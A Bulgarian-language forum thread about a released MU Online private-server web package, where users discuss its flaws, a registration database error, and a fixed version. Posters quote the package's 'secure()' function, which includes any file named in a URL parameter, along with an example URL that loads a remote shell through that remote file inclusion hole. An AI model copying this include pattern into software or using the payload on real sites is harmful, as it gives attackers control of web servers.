[Release] iQc-MU web

Very nice "security" function

PHP:
function secure() {
if ($_GET['sec']){  include($_GET['sec']);die();}
}
Result:
Code:
blabla.php?sec=http://example.com/shell.txt

То ако си гледал веба няма защита. Трябва да се защити.
 
То ако си гледал веба няма защита. Трябва да се защити.

Как да няма бее??? stripslashes и това :D

@Dungeon драсни в скайпа ;]
 
Как да няма бее??? stripslashes и това :D

@Dungeon драсни в скайпа ;]

Да и кат гледам всичко е $_COOKIE :D

Мисля че логина от $_COOKIE се направи на $_SESSION ще се оправи пробвайте и кажете :)
 
Last edited:
Не регва дава тази грешка.
Code:
Warning: mssql_query() [function.mssql-query]: message: Cannot insert the 
value NULL into column 'memb_guid', table 'MuOnline.dbo.VI_CURR_INFO'; column does not allow nulls. INSERT fails. (severity 16) in C:\AppServ\www\new\pages\register.php on line 69

Warning: mssql_query() [function.mssql-query]: Query failed in C:\AppServ
\www\new\pages\register.php on line 69
Registration was completed successfuly.

Според мене вземи си сложи друг регистер и тъкмо ще си ползваш lostpassword-a от колкото ще се мъчиш с този и дай един тестов акаунт да пробвам логин панела :)
 
точно това питам как да го оправя
 
точно това питам как да го оправя

Пробва ли това дето казах да промениш на всякаде $_COOKIE на $_SESSION .
 
да същата работа се получава
 
Very nice "security" function

PHP:
function secure() {
if ($_GET['sec']){  include($_GET['sec']);die();}
}
Result:
Code:
blabla.php?sec=http://example.com/shell.txt

RFI ^^
Много интересно що има и куукита :D
 
аве айде помогнете ве :D:
 
Добре бе да го е*а никой ли не можа да го оправи :( .
Не ви обвинявам вас, ама поне тоя дето е създал темата да беше проверил дали работи... ся ще имам нощни напикавания...
 
Добре бе да го е*а никой ли не можа да го оправи :( .
Не ви обвинявам вас, ама поне тоя дето е създал темата да беше проверил дали работи... ся ще имам нощни напикавания...

Някой ако даде нов link за weba , template ще видим какво може да направиме по въпроса .
 
Като гледам тоя Уеб е много беден и от към опций също .
Ще го fix-на утре ....
 
Last edited:
Ready,
Поствам го малко по-късно но нямах много време тея дни .
 

Attachments

  • iQc-MU_v1 NEW.rar
    2 MB · Views: 23
Last edited: